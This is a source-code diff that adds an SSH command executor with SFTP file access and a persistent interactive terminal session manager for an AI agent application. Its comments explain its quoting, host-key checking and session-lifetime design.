+        key = await asyncio.wait_for(
+            asyncssh.get_server_host_key(host, port=port), timeout=timeout
+        )
+    except TimeoutError as exc:
+        raise ExecError(f"{host} did not answer within {timeout}s.") from exc
+    except (OSError, asyncssh.Error) as exc:
+        raise ExecError(f"Could not reach {host}: {exc}") from exc
+
+    if key is None:
+        raise ExecError(f"{host} offered no host key.")
+
+    algorithm = key.get_algorithm()
+    encoded = key.export_public_key("openssh").decode().split()[1]
+    where = f"[{host}]:{port}" if port != 22 else host
+    return f"{where} {algorithm} {encoded}\n", key.get_fingerprint("sha256")
+
+
+class SshExecutor:
+    """One target, reached over SSH. A connection per call."""
+
+    def __init__(self, spec: dict[str, Any], project_dir: str = "") -> None:
+        self.spec = spec
+        self.project_dir = project_dir or ""
+        self.label = str(spec.get("label") or spec.get("host") or "the remote host")
+
+    def _connect(self):
+        if problem := available():
+            raise ExecError(problem)
+        import asyncssh
+
+        return asyncssh.connect(self.spec["host"], **connect_kwargs(self.spec))
+
+    def _wrap(self, exc: Exception) -> ExecError:
+        import asyncssh
+
+        if isinstance(exc, asyncssh.HostKeyNotVerifiable):
+            return ExecError(
+                f"{self.label} presented a different host key than the one that "
+                "was confirmed. Nothing was sent. If the host was rebuilt, open "
+                "it under Agents and confirm the new fingerprint."
+            )
+        if isinstance(exc, asyncssh.PermissionDenied):
+            return ExecError(f"{self.label} refused the credential.")
+        return ExecError(f"Could not reach {self.label}: {exc}")
+
+    async def run(self, request: ExecRequest) -> ExecResult:
+        """Run one command and read back what it said.
+
+        Every command is a fresh shell, so `cd` does not carry between calls --
+        the working directory is set here, from `cwd` or the chat's project
+        directory, and never spliced into the command string.
+        """
+        import asyncssh
+
+        started = time.monotonic()
+        directory = request.cwd or self.project_dir
+        # A single-quoted path, with any embedded quote escaped. `cd` needs a
+        # shell, so this is the one place a path meets one -- and it is a path
+        # from the chat's own configuration, not from the model, except when the
+        # model passed `cwd`, which is why it is quoted rather than trusted.
+        command = request.command
+        if directory:
+            command = f"cd {_quote(directory)} && {command}"
+
+        try:
+            async with self._connect() as conn:
+                result = await conn.run(
+                    command,
+                    check=False,
+                    timeout=request.timeout,
+                    # Interleaved, because a shell transcript is what the model
+                    # has to read and separating them loses the ordering.
+                    stderr=asyncssh.STDOUT,
+                    # A command that waits for input fails at once instead of
+                    # sitting out its whole timeout in silence.
+                    stdin=asyncssh.DEVNULL,
+                )
+        except TimeoutError:
+            elapsed = int((time.monotonic() - started) * 1000)
+            return ExecResult(
+                exit_status=-1,
+                output=f"The command was still running after {request.timeout:g}s and was stopped.",
+                timed_out=True,
+                duration_ms=elapsed,
+            )
+        except (OSError, asyncssh.Error) as exc:
+            raise self._wrap(exc) from exc
+
+        output, truncated = clean_output(result.stdout or "", limit=request.max_bytes)
+        return ExecResult(
+            exit_status=result.exit_status if result.exit_status is not None else -1,
+            output=output,
+            truncated=truncated,
+            duration_ms=int((time.monotonic() - started) * 1000),
+        )
+
+    # --- Files go over SFTP, never through a shell ---------------------------
+    # The SSH exec protocol carries one command *string* that the far side's
+    # shell parses; there is no argv form. So a path in a command line is
+    # unavoidably a quoting problem, and a model-supplied path is exactly the
+    # input that must not become one. Over SFTP a path is a path.
+    async def read_file(self, path: str, *, max_bytes: int = MAX_READ_BYTES) -> str:
+        import asyncssh
+
+        try:
+            async with (
+                self._connect() as conn,
+                conn.start_sftp_client() as sftp,
+                sftp.open(self._resolve(path), "rb") as handle,
+            ):
+                data = await handle.read(max_bytes + 1)
+        except asyncssh.SFTPNoSuchFile as exc:
+            raise ExecError(f"There is no file at {path}.") from exc
+        except asyncssh.SFTPPermissionDenied as exc:
+            raise ExecError(f"Not allowed to read {path}.") from exc
+        except (OSError, asyncssh.Error) as exc:
+            raise self._wrap(exc) from exc
+
+        text, _truncated = clean_output(data[:max_bytes], limit=max_bytes)
+        return text
+
+    async def write_file(self, path: str, text: str) -> int:
+        import asyncssh
+
+        payload = text.encode("utf-8")[:MAX_WRITE_BYTES]
+        try:
+            async with (
+                self._connect() as conn,
+                conn.start_sftp_client() as sftp,
+                sftp.open(self._resolve(path), "wb") as handle,
+            ):
+                await handle.write(payload)
+        except asyncssh.SFTPPermissionDenied as exc:
+            raise ExecError(f"Not allowed to write {path}.") from exc
+        except (OSError, asyncssh.Error) as exc:
+            raise self._wrap(exc) from exc
+        return len(payload)
+
+    # --- The same files, for somebody about to edit them ---------------------
+    # Deliberately not `read_file`/`write_file`, and those two are deliberately
+    # left exactly as they are: what they return is a contract a model has been
+    # shown, and it is the right contract for a model.
+    #
+    # It is the wrong one for an editor. `read_file` ends in `clean_output`,
+    # which strips ANSI escape sequences and decodes with errors="replace" --
+    # correct for the output of a command, and for a file it means that opening
+    # one containing an escape byte and pressing Save rewrites it with the
+    # escapes gone and every undecodable byte replaced by U+FFFD. `write_file`
+    # truncates at MAX_WRITE_BYTES, which a model is told about and a person
+    # pressing Save is not.
+    async def read_text(self, path: str, *, max_bytes: int = MAX_READ_BYTES) -> RemoteFile:
+        """A file as somebody is about to edit it.
+
+        Strict decoding, so a file this cannot represent faithfully is reported
+        as binary rather than silently mangled into something that would be
+        saved back. The stat and the read share one connection: connections are
+        per call, so doing it in two is two handshakes and two authentications
+        to open one file.
+        """
+        import asyncssh
+
+        try:
+            async with (
+                self._connect() as conn,
+                conn.start_sftp_client() as sftp,
+                sftp.open(self._resolve(path), "rb") as handle,
+            ):
+                attrs = await handle.stat()
+                data = await handle.read(max_bytes + 1)
+        except asyncssh.SFTPNoSuchFile as exc:
+            raise ExecError(f"There is no file at {path}.") from exc
+        except asyncssh.SFTPPermissionDenied as exc:
+            raise ExecError(f"Not allowed to read {path}.") from exc
+        except (OSError, asyncssh.Error) as exc:
+            raise self._wrap(exc) from exc
+
+        truncated = len(data) > max_bytes
+        data = data[:max_bytes]
+        size = int(getattr(attrs, "size", None) or len(data))
+        mtime = int(getattr(attrs, "mtime", None) or 0)
+
+        # A NUL in the first few kilobytes, or anything that will not decode.
+        # Either way there is nothing safe to put in a textarea.
+        if b"\0" in data[:8192]:
+            return RemoteFile("", size, mtime, truncated, binary=True)
+        try:
+            text = data.decode("utf-8")
+        except UnicodeDecodeError:
+            return RemoteFile("", size, mtime, truncated, binary=True)
+        return RemoteFile(text, size, mtime, truncated, binary=False)
+
+    async def write_text(self, path: str, text: str, *, if_unchanged: str = "") -> RemoteFile:
+        """Write a file, refusing if it moved under the editor.
+
+        `if_unchanged` is the token `read_text` handed out. The re-stat and the
+        write happen on one connection, which is the narrowest window SFTP
+        allows; there is no compare-and-swap here and this does not pretend to
+        be atomic. It catches what it exists for -- another editor, a build, a
+        checkout between opening a tab and pressing Save -- and not a race
+        measured in milliseconds.
+
+        Oversize is refused rather than truncated. `write_file` truncates
+        because a model is told how many bytes it wrote; somebody pressing Save
+        would lose the tail of their file with nothing said.
+        """
+        import asyncssh
+
+        payload = text.encode("utf-8")
+        if len(payload) > MAX_WRITE_BYTES:
+            raise ExecError(
+                f"That is {len(payload) // 1024}KB and the limit is "
+                f"{MAX_WRITE_BYTES // 1024}KB. Nothing was written."
+            )
+
+        target = self._resolve(path)
+        try:
+            async with self._connect() as conn, conn.start_sftp_client() as sftp:
+                if if_unchanged:
+                    current = ""
+                    with contextlib.suppress(asyncssh.SFTPNoSuchFile):
+                        attrs = await sftp.stat(target)
+                        current = revision_of(
+                            int(getattr(attrs, "mtime", None) or 0),
+                            int(getattr(attrs, "size", None) or 0),
+                        )
+                    if current and current != if_unchanged:
+                        raise Conflict(current)
+                async with sftp.open(target, "wb") as handle:
+                    await handle.write(payload)
+                attrs = await sftp.stat(target)
+        except asyncssh.SFTPPermissionDenied as exc:
+            raise ExecError(f"Not allowed to write {path}.") from exc
+        except (OSError, asyncssh.Error) as exc:
+            raise self._wrap(exc) from exc
+
+        return RemoteFile(
+            text,
+            len(payload),
+            int(getattr(attrs, "mtime", None) or 0),
+            truncated=False,
+            binary=False,
+        )
+
+    async def list_dir(self, path: str = "") -> list[str]:
+        import asyncssh
+
+        try:
+            async with self._connect() as conn, conn.start_sftp_client() as sftp:
+                target = self._resolve(path) if path else (self.project_dir or ".")
+                names = await sftp.listdir(target)
+        except asyncssh.SFTPNoSuchFile as exc:
+            raise ExecError(f"There is no directory at {path or self.project_dir}.") from exc
+        except (OSError, asyncssh.Error) as exc:
+            raise self._wrap(exc) from exc
+
+        visible = sorted(n for n in names if n not in (".", ".."))
+        return visible[:MAX_ENTRIES]
+
+    async def scan_dir(self, path: str = "") -> list[RemoteEntry]:
+        """A listing with types, for a picker rather than for a model.
+
+        `readdir` rather than `listdir`: the latter returns bare names, and a
+        browser has to know which rows can be walked into before it can draw
+        them. Directories sort first and then by name, because that is the
+        order somebody navigating expects -- `list_dir` keeps its plain
+        lexicographic sort, since changing what a tool returns is changing a
+        contract a model has already been shown.
+        """
+        import stat
+
+        import asyncssh
+
+        try:
+            async with self._connect() as conn, conn.start_sftp_client() as sftp:
+                target = self._resolve(path) if path else (self.project_dir or ".")
+                names = await sftp.readdir(target)
+        except asyncssh.SFTPNoSuchFile as exc:
+            raise ExecError(f"There is no directory at {path or self.project_dir}.") from exc
+        except asyncssh.SFTPPermissionDenied as exc:
+            raise ExecError(f"Not allowed to read {path or self.project_dir}.") from exc
+        except (OSError, asyncssh.Error) as exc:
+            raise self._wrap(exc) from exc
+
+        entries: list[RemoteEntry] = []
+        for item in names:
+            name = item.filename
+            if name in (".", ".."):
+                continue
+            attrs = item.attrs
+            permissions = getattr(attrs, "permissions", None) or 0
+            entries.append(
+                RemoteEntry(
+                    name=name,
+                    is_dir=stat.S_ISDIR(permissions),
+                    size=getattr(attrs, "size", None) or 0,
+                    modified=int(getattr(attrs, "mtime", None) or 0),
+                )
+            )
+
+        entries.sort(key=lambda entry: (not entry.is_dir, entry.name.lower()))
+        return entries[:MAX_ENTRIES]
+
+    def _resolve(self, path: str) -> str:
+        """A path relative to the project directory, unless it is absolute.
+
+        Deliberately *not* a containment check. The account on the far side is
+        the boundary -- a profile whose user can only see /srv/project can only
+        reach things under it -- and pretending otherwise here would be a
+        comfort rather than a control, since `shell_run` could walk out of it in
+        one line anyway.
+        """
+        if not path:
+            return self.project_dir or "."
+        if path.startswith("/") or not self.project_dir:
+            return path
+        return f"{self.project_dir.rstrip('/')}/{path.lstrip('/')}"
+
+
+def _quote(value: str) -> str:
+    return "'" + value.replace("'", "'\\''") + "'"
+
+
+async def check(spec: dict[str, Any], project_dir: str = "") -> dict[str, Any]:
+    """Connect, confirm the project directory, and report what was found.
+
+    Used by the Check button on a profile. Runs one harmless command rather than
+    only opening a connection, because "the credential works" and "the directory
+    is there" are the two things somebody is actually asking about.
+    """
+    executor = SshExecutor(spec, project_dir)
+    result = await executor.run(
+        ExecRequest(command="uname -sr 2>/dev/null; pwd", timeout=15, max_bytes=4096)
+    )
+    lines = [line for line in result.output.splitlines() if line.strip()]
+    return {
+        "ok": result.ok,
+        "system": lines[0] if lines else "",
+        "cwd": lines[-1] if len(lines) > 1 else "",
+        "output": result.output,
+    }
+
+
+__all__ = [
+    "INSTALL_HINT",
+    "MAX_ENTRIES",
+    "MAX_READ_BYTES",
+    "SshExecutor",
+    "available",
+    "capture_host_key",
+    "check",
+    "connect_kwargs",
+    "spec_from",
+]

src/lembas/services/agent/terminal.py

@@ -0,0 +1,751 @@
+"""Interactive shells, one per agent chat, held open behind the panel.
+
+The other half of `ssh.py`. There a connection lives for one command, because a
+runner is a request-and-answer and holding state would be the wrong shape. Here
+the connection *is* the state: a PTY with a shell on the far side, its scrollback,
+and whoever is currently watching it.
+
+Shaped after `services/generation.py` -- a registry, a background task that owns
+the work, and a socket that merely follows it -- and it differs in three ways
+worth knowing:
+
+* **Keyed on the chat, not on a session of its own.** A reload is
+  indistinguishable from a second tab, so anything finer needs an id in the
+  browser's storage, and then an abandoned tab leaks a shell nothing in the UI
+  can find. One chat, one shell. Two tabs share it, like `tmux attach` twice,
+  which is the only reading under which "it is still there when you come back"
+  means anything. They also share a size, and the smaller one wins.
+
+* **Nothing here ends by itself.** A generation finishes, so `generation.ensure`
+  can prune inside itself. A shell sits at a prompt forever and nothing calls in
+  again, so there is a reaper task instead. Copying the generation shape here
+  would mean nothing was ever swept.
+
+* **A slow reader is dropped, not buffered.** Every viewer has a bounded queue;
+  one that fills is disconnected and reattaches with the scrollback. Blocking
+  the pump instead would stall every other viewer and buffer without bound
+  inside the server -- and `yes` is one word to type.
+
+What a person types here is deliberately not run past `agent/policy.py`. The
+modes and the two lists govern a *model*, which reads untrusted pages and files
+and can be talked into things. Somebody at a keyboard holds the credential
+already and could open the same shell with an ssh client; asking them to approve
+their own keystrokes would be theatre.
+"""
+
+from __future__ import annotations
+
+import asyncio
+import contextlib
+import logging
+import time
+import uuid
+from collections import deque
+from dataclasses import dataclass, field
+from typing import Any
+
+from lembas.services.agent import capture, shell_marks
+from lembas.services.agent.base import ExecError
+from lembas.services.agent.ssh import available, connect_kwargs
+
+log = logging.getLogger(__name__)
+
+# What one shell keeps to hand a returning viewer. Bytes rather than lines: a
+# line budget is dishonest about a program that writes one very long line.
+SCROLLBACK_BYTES = 256 * 1024
+
+# How much output one viewer may fall behind by before it is dropped. Frames
+# are whatever the far side wrote, so this is generous in wall-clock terms and
+# only reached by a browser that has genuinely stopped reading.
+VIEWER_QUEUE = 512
+
+# Read size. Large enough that `cat` of a big file is not a million wakeups,
+# small enough that a prompt appears the instant it is written.
+READ_BYTES = 64 * 1024
+
+# A terminal nobody has ever heard of gets no colours; this one every shell
+# knows and it is what an ordinary ssh client announces.
+TERM_TYPE = "xterm-256color"
+
+# A size is a number the browser sends. `change_terminal_size(100000, 100000)`
+# is a way to ask the far side to allocate.
+MAX_COLS = 500
+MAX_ROWS = 300
+MIN_COLS = 20
+MIN_ROWS = 5
+
+# How long a closed session stays in the registry. A tab attaching a second
+# after the shell exited should be told what happened rather than silently
+# handed a fresh one.
+KEEP_CLOSED = 60.0
+
+# How often the reaper looks. Nothing here is urgent: the idle timeout is
+# measured in minutes.
+REAP_INTERVAL = 30.0
+
+# Why a session ended. The browser is told, and the wording differs enough to be
+# worth the constants.
+CLOSED_EXITED = "exited"
+CLOSED_IDLE = "idle"
+CLOSED_SHUTDOWN = "shutdown"
+CLOSED_REVOKED = "revoked"
+CLOSED_ERROR = "error"
+
+# Whether this shell tells us where its commands begin and end.
+#   live    -- it does
+#   loading -- the hooks went in; the first prompt has not arrived yet
+#   none    -- it never will: an unknown shell, or a dotfile that replaced it
+INTEGRATION_LIVE = "live"
+INTEGRATION_LOADING = "loading"
+INTEGRATION_NONE = "none"
+
+# How long a shell may produce output without ever marking a prompt before we
+# conclude it is not going to. This is what catches a `.bashrc` ending in `exec
+# tmux`: the hooks were installed and then the shell replaced itself. Without
+# it the buttons stay greyed out forever with no explanation.
+INTEGRATION_GRACE = 10.0
+
+
+@dataclass
+class Viewer:
+    """One browser watching one shell."""
+
+    cols: int = 80
+    rows: int = 24
+    id: str = field(default_factory=lambda: uuid.uuid4().hex)
+    queue: asyncio.Queue = field(default_factory=lambda: asyncio.Queue(maxsize=VIEWER_QUEUE))
+    # Everything the shell has said so far, handed over in the same synchronous
+    # call that subscribes. Reading the buffer and subscribing as two awaits
+    # loses whatever arrives between them.
+    snapshot: bytes = b""
+    # Set when this viewer fell behind. It is woken with the sentinel below and
+    # told to reconnect, which costs it nothing: the scrollback is the state.
+    dropped: bool = False
+
+
+class Session:
+    """A shell on the far side of one chat's connection."""
+
+    def __init__(
+        self,
+        chat_id: str,
+        *,
+        owner_id: str,
+        profile_id: str,
+        label: str,
+        project_dir: str = "",
+        idle_timeout: float = 1800.0,
+        cols: int = 80,
+        rows: int = 24,
+        integrate: bool = True,
+    ) -> None:
+        self.chat_id = chat_id
+        self.owner_id = owner_id
+        self.profile_id = profile_id
+        self.label = label
+        self.project_dir = project_dir
+        self.idle_timeout = idle_timeout
+
+        self.viewers: dict[str, Viewer] = {}
+        self._scrollback: deque[bytes] = deque()
+        self._scrollback_bytes = 0
+
+        # --- Command boundaries ---------------------------------------------
+        # Three states, and the middle one matters: INTEGRATION_LOADING means
+        # the hooks were installed and no marker has arrived yet, which is a
+        # different thing to tell somebody than "this shell will never mark".
+        self.integrate = integrate
+        self.integration = INTEGRATION_LOADING if integrate else INTEGRATION_NONE
+        self.shell = ""
+        self._marks = shell_marks.Marks(self._on_mark, self._on_text)
+        # At most two, ever. The one being written and the last finished one --
+        # a history would be a second scrollback with none of the bounding.
+        self.current: capture.Capture | None = None
+        self.last: capture.Capture | None = None
+        self._captures = 0
+        # Where the shell says it is, which the panel header shows live and a
+        # capture records. Seeded from the chat so it says something sensible
+        # before the first prompt.
+        self.cwd = project_dir
+        # Set by the socket layer, which knows how to shape a frame. Called
+        # when a command finishes so a panel can enable its buttons without
+        # polling for something that happens a few times a minute.
+        self.on_command: Any = None
+
+        self._conn: Any = None
+        self._process: Any = None
+        self._pump: asyncio.Task | None = None
+
+        self.closed = False
+        self.closed_reason = ""
+        self.closed_at = 0.0
+        self.started_at = time.monotonic()
+        # Bumped by a keystroke and by a viewer coming or going. Idle is this
+        # going quiet *with nobody attached*: a build running behind a closed
+        # panel is the case this whole lifetime exists for.
+        self.last_active = time.monotonic()
+        # The size the PTY is *created* with, which matters: a shell prints its
+        # prompt before anything could resize it, and a prompt drawn at 80
+        # columns inside a 140-column window stays wrong until the next one.
+        self.cols = _clamp(cols, MIN_COLS, MAX_COLS)
+        self.rows = _clamp(rows, MIN_ROWS, MAX_ROWS)
+
+    # --- Opening -------------------------------------------------------------
+
+    async def start(self, spec: dict[str, Any]) -> None:
+        """Connect, ask for a PTY, and start pumping what it says.
+
+        The credential is used here and not kept. `spec` is a decrypted snapshot
+        of a profile and the connection outlives the request that made it, so
+        holding a private key in memory for the hour a shell sits at a prompt
+        buys nothing.
+        """
+        if problem := available():
+            raise ExecError(problem)
+        import asyncssh
+
+        try:
+            self._conn = await asyncssh.connect(
+                spec["host"],
+                **connect_kwargs(spec),
+                # asyncssh sends no keepalives by default. `SshExecutor` never
+                # needed them because its connections live for one command; a
+                # shell held open behind NAT otherwise gets dropped with no FIN
+                # and no exception, and the pump simply never returns -- the
+                # panel looks alive and answers nothing.
+                keepalive_interval=30,
+                keepalive_count_max=3,
+            )
+            self._process = await self._conn.create_process(
+                self._command(),
+                term_type=TERM_TYPE,
+                term_size=(self.cols, self.rows),
+                # Bytes in both directions. A read lands mid-character often
+                # enough to matter, and the browser's decoder is stateful across
+                # writes while a per-frame decode here is not: it would corrupt
+                # every boundary. Nothing decodes, so nothing can split.
+                encoding=None,
+                stderr=asyncssh.STDOUT,
+            )
+        except asyncssh.HostKeyNotVerifiable as exc:
+            await self._teardown()
+            raise ExecError(
+                f"{self.label} presented a different host key than the one that "
+                "was confirmed. Nothing was sent."
+            ) from exc
+        except asyncssh.PermissionDenied as exc:
+            await self._teardown()
+            raise ExecError(f"{self.label} refused the credential.") from exc
+        except (OSError, asyncssh.Error) as exc:
+            await self._teardown()
+            raise ExecError(f"Could not reach {self.label}: {exc}") from exc
+
+        self._pump = asyncio.create_task(self._read_forever())
+
+    def _command(self) -> str | None:
+        """What the PTY runs, or None for the account's plain login shell.
+
+        A shell has no notion of "start here" that SSH can carry, so the chat's
+        project directory has to be a `cd` -- run before the shell rather than
+        typed into it, so the scrollback opens on a prompt instead of on a
+        command nobody entered. It is single-quoted, and a failure is ignored:
+        a directory that has been deleted should leave somebody at a shell to
+        find out why, not with a connection that closes as it opens.
+
+        With integration on, the same string also writes the shell-integration
+        files and execs through them; see `shell_marks` for why it is done in
+        the command rather than over SFTP or through the environment.
+        """
+        return shell_marks.command_for(self.project_dir, integrate=self.integrate)
+
+    # --- Where one command ends and the next begins --------------------------
+
+    def _on_mark(self, kind: str, value: str) -> None:
+        """One marker, from the scanner in the pump.
+
+        Advisory, never trusted: a program can print these itself and move a
+        boundary. It is not a way in -- the text is sanitised and fenced either
+        way, and a program could already print anything on screen -- but that is
+        why nothing here validates them, and why none of it decides anything a
+        person could not already do at the keyboard.
+        """
+        if kind == shell_marks.MARK_READY:
+            self.integration = INTEGRATION_LIVE
+            self.shell = value.split(";")[0][:32]
+            return
+
+        if self.integration != INTEGRATION_LIVE and kind in (
+            shell_marks.MARK_PROMPT,
+            shell_marks.MARK_OUTPUT,
+        ):
+            self.integration = INTEGRATION_LIVE
+
+        if kind == shell_marks.MARK_CWD:
+            path = shell_marks.unescape(value.partition("=")[2])[:1000]
+            self.cwd = path
+            return
+
+        if kind == shell_marks.MARK_COMMAND:
+            self._captures += 1
+            self.current = capture.Capture(
+                seq=self._captures,
+                command=capture.trim_command(shell_marks.unescape(value)),
+                cwd=self.cwd,
+            )
+            return
+
+        if kind == shell_marks.MARK_DONE and self.current is not None:
+            try:
+                self.current.exit_status = int(value.strip() or 0)
+            except ValueError:
+                self.current.exit_status = 0
+            self.current.ended = time.monotonic()
+            self.last = self.current
+            self.current = None
+            if self.on_command is not None:
+                self.on_command(self.last)
+
+    def _on_text(self, data: bytes) -> None:
+        """Everything that was not a marker, while a command is running.
+
+        Interleaved with `_on_mark` rather than applied to the whole chunk
+        afterwards: a shell often writes the command marker, the output and the
+        finished marker in one read, and absorbing after the scan would find
+        the capture already closed and keep nothing at all.
+        """
+        if self.current is not None:
+            self.current.absorb(data)
+
+    def latest(self) -> capture.Capture | None:
+        """The command to act on: the one still running, else the last one.
+
+        In-flight counts. "Copy the last command and its output" while `make` is
+        still going should give what has been printed so far, marked as still
+        running -- not "nothing yet".
+        """
+        return self.current or self.last
+
+    # --- Following -----------------------------------------------------------
+
+    def attach(self, cols: int = 80, rows: int = 24) -> Viewer:
+        """Subscribe, and take the scrollback, in one synchronous step.
+
+        One step on purpose: reading the buffer and subscribing as two awaits
+        loses whatever the shell says between them, which is exactly the moment
+        somebody reattaches to a build that is still writing.
+        """
+        viewer = Viewer(
+            cols=_clamp(cols, MIN_COLS, MAX_COLS),
+            rows=_clamp(rows, MIN_ROWS, MAX_ROWS),
+        )
+        viewer.snapshot = b"".join(self._scrollback)
+        self.viewers[viewer.id] = viewer
+        self.last_active = time.monotonic()
+        self.apply_size()
+        return viewer
+
+    def detach(self, viewer: Viewer) -> None:
+        self.viewers.pop(viewer.id, None)
+        # Counts as activity: the timeout is "nobody has been here and nothing
+        # has happened for a while", so it starts when the last viewer leaves.
+        self.last_active = time.monotonic()
+        self.apply_size()
+
+    async def send(self, data: bytes) -> None:
+        """Type into the shell."""
+        if self.closed or self._process is None:
+            return
+        self.last_active = time.monotonic()
+        try:
+            self._process.stdin.write(data)
+        except (BrokenPipeError, ConnectionResetError, OSError):
+            await self._finish(CLOSED_EXITED)
+
+    def resize(self, viewer: Viewer, cols: int, rows: int) -> None:
+        """Record this viewer's size and give the far side the smallest.
+
+        Two tabs on one PTY cannot each have their own geometry. The smaller
+        wins in both directions, so nothing is drawn off the edge of the smaller
+        window -- the larger one gets an unused margin, which is the harmless
+        half of the trade.
+        """
+        viewer.cols = _clamp(cols, MIN_COLS, MAX_COLS)
+        viewer.rows = _clamp(rows, MIN_ROWS, MAX_ROWS)
+        self.apply_size()
+
+    def apply_size(self) -> None:
+        """Synchronous: `change_terminal_size` only queues a window-change
+        message, so there is nothing to await and no reason to make every
+        caller a coroutine."""
+        if self.closed or self._process is None or not self.viewers:
+            return
+        cols = min(v.cols for v in self.viewers.values())
+        rows = min(v.rows for v in self.viewers.values())
+        if (cols, rows) == (self.cols, self.rows):
+            return
+        self.cols, self.rows = cols, rows
+        with contextlib.suppress(Exception):
+            self._process.change_terminal_size(cols, rows)
+
+    # --- The pump ------------------------------------------------------------
+
+    async def _read_forever(self) -> None:
+        assert self._process is not None
+        try:
+            while True:
+                data = await self._process.stdout.read(READ_BYTES)
+                if not data:
+                    break
+                self._remember(data)
+                # Before the fan-out, so a "this command finished" frame can
+                # never reach a browser after the output it describes.
+                self._observe(data)
+                self._fan_out(data)
+        except asyncio.CancelledError:
+            raise
+        except Exception as exc:  # noqa: BLE001 - one shell dying is not a crash
+            log.info("terminal %s ended: %s", self.chat_id, exc)
+            await self._finish(CLOSED_ERROR)
+            return
+        await self._finish(CLOSED_EXITED)
+
+    def _observe(self, data: bytes) -> None:
+        """Watch the stream for markers, and feed the command being captured.
+
+        Server-side rather than in the browser, for five reasons. The `behind`
+        path calls `term.reset()` and replays a *truncated* scrollback, so a
+        client parser routinely sees a "finished" with no matching "started".
+        Two tabs share one shell and two parsers can disagree about what "the
+        last command" is. The server sees the stream once however many are
+        watching. And what comes out of this ends up inside a prompt -- deriving
+        it here means there is nothing to disbelieve later.
+
+        The bytes are still fanned out unchanged, markers and all: xterm
+        consumes an OSC it has no handler for and never draws it, and rewriting
+        frames on the hot path would break the "nothing decodes, so nothing can
+        split" property the pump depends on.
+        """
+        self._marks.feed(data)
+        if self.current is None and (
+            self.integration == INTEGRATION_LOADING
+            and time.monotonic() - self.started_at > INTEGRATION_GRACE
+        ):
+            # Output arrived, the grace period passed, and no marker ever came.
+            # Output arrived, the grace period passed, and no marker ever came.
+            # Something replaced the shell -- a dotfile ending in `exec tmux` is
+            # the usual one. Say so rather than leaving the buttons greyed.
+            self.integration = INTEGRATION_NONE
+
+    def _remember(self, data: bytes) -> None:
+        self._scrollback.append(data)
+        self._scrollback_bytes += len(data)
+        while self._scrollback_bytes > SCROLLBACK_BYTES and len(self._scrollback) > 1:
+            self._scrollback_bytes -= len(self._scrollback.popleft())
+
+    def announce(self, text: str) -> None:
+        """Put one text frame in front of every viewer.
+
+        Through the same queues as the output so ordering is preserved: a
+        "finished" that overtook the last of the output it describes would have
+        a panel offering a capture the screen has not caught up with. Dropped
+        rather than blocking on a full queue -- that viewer is already being
+        disconnected and will be told again on reattach.
+        """
+        for viewer in list(self.viewers.values()):
+            with contextlib.suppress(asyncio.QueueFull):
+                viewer.queue.put_nowait(text)
+
+    def _fan_out(self, data: bytes) -> None:
+        for viewer in list(self.viewers.values()):
+            try:
+                viewer.queue.put_nowait(data)
+            except asyncio.QueueFull:
+                # Emptied first so the sentinel fits and so the socket does not
+                # spend its last moments writing frames nobody will see.
+                _drain(viewer.queue)
+                viewer.dropped = True
+                with contextlib.suppress(asyncio.QueueFull):
+                    viewer.queue.put_nowait(None)
+                self.viewers.pop(viewer.id, None)
+
+    # --- Closing -------------------------------------------------------------
+
+    async def close(self, reason: str = CLOSED_SHUTDOWN) -> None:
+        pump, self._pump = self._pump, None
+        if pump is not None:
+            pump.cancel()
+            with contextlib.suppress(asyncio.CancelledError, Exception):
+                await pump
+        await self._finish(reason)
+
+    async def _finish(self, reason: str) -> None:
+        """Mark this session over and wake everybody watching.
+
+        Called from the pump when the shell exits, and from `close` after the
+        pump has been cancelled -- which is why it does not cancel the pump
+        itself. The entry stays in the registry for KEEP_CLOSED so a late
+        attachment gets an explanation.
+        """
+        if self.closed:
+            return
+        self.closed = True
+        self.closed_reason = reason
+        self.closed_at = time.monotonic()
+        for viewer in list(self.viewers.values()):
+            with contextlib.suppress(asyncio.QueueFull):
+                viewer.queue.put_nowait(None)
+        await self._teardown()
+        log.info(
+            "terminal closed chat=%s owner=%s profile=%s reason=%s after=%.0fs",
+            self.chat_id,
+            self.owner_id,
+            self.profile_id,
+            reason,
+            time.monotonic() - self.started_at,
+        )
+
+    async def _teardown(self) -> None:
+        process, self._process = self._process, None
+        conn, self._conn = self._conn, None
+        if process is not None:
+            with contextlib.suppress(Exception):
+                process.terminate()
+        if conn is not None:
+            with contextlib.suppress(Exception):
+                conn.close()
+            with contextlib.suppress(Exception):
+                await conn.wait_closed()
+
+    @property
+    def idle_for(self) -> float:
+        if self.viewers:
+            return 0.0
+        return time.monotonic() - self.last_active
+
+
+# --- The registry ------------------------------------------------------------
+
+_SESSIONS: dict[str, Session] = {}
+_REAPER: asyncio.Task | None = None
+
+
+def get(chat_id: str) -> Session | None:
+    """The live session for a chat, if there is one. Closed ones do not count."""
+    session = _SESSIONS.get(chat_id)
+    if session is None or session.closed:
+        return None
+    return session
+
+
+def peek(chat_id: str) -> Session | None:
+    """As `get`, but a recently closed session too -- it carries the reason."""
+    return _SESSIONS.get(chat_id)
+
+
+def count() -> int:
+    return sum(1 for s in _SESSIONS.values() if not s.closed)
+
+
+def count_for(owner_id: str) -> int:
+    return sum(1 for s in _SESSIONS.values() if not s.closed and s.owner_id == owner_id)
+
+
+async def open_session(
+    chat_id: str,
+    *,
+    owner_id: str,
+    profile_id: str,
+    label: str,
+    spec: dict[str, Any],
+    project_dir: str = "",
+    idle_timeout: float = 1800.0,
+    max_sessions: int = 20,
+    max_per_user: int = 3,
+    cols: int = 80,
+    rows: int = 24,
+    integrate: bool = True,
+) -> Session:
+    """The shell for this chat, opening one if it is not already there.
+
+    Idempotent for the same reason `generation.ensure` is: a second tab, or the
+    same tab after a reload, must attach to what is running rather than start a
+    second shell on the same machine.
+    """
+    existing = get(chat_id)
+    if existing is not None:
+        return existing
+
+    _reap()
+    if count() >= max_sessions:
+        raise ExecError(
+            "This instance already has as many terminals open as it allows. "
+            "Close one, or ask an administrator to raise the limit."
+        )
+    if count_for(owner_id) >= max_per_user:
+        raise ExecError(
+            f"You already have {max_per_user} terminal"
+            f"{'' if max_per_user == 1 else 's'} open. Close one first."
+        )
+
+    session = Session(
+        chat_id,
+        owner_id=owner_id,
+        profile_id=profile_id,
+        label=label,
+        integrate=integrate,
+        project_dir=project_dir,
+        idle_timeout=idle_timeout,
+        cols=cols,
+        rows=rows,
+    )
+    await session.start(spec)
+    _SESSIONS[chat_id] = session
+    _ensure_reaper()
+    log.info(
+        "terminal opened chat=%s owner=%s profile=%s host=%s dir=%s",
+        chat_id,
+        owner_id,
+        profile_id,
+        label,
+        project_dir or "~",
+    )
+    return session
+
+
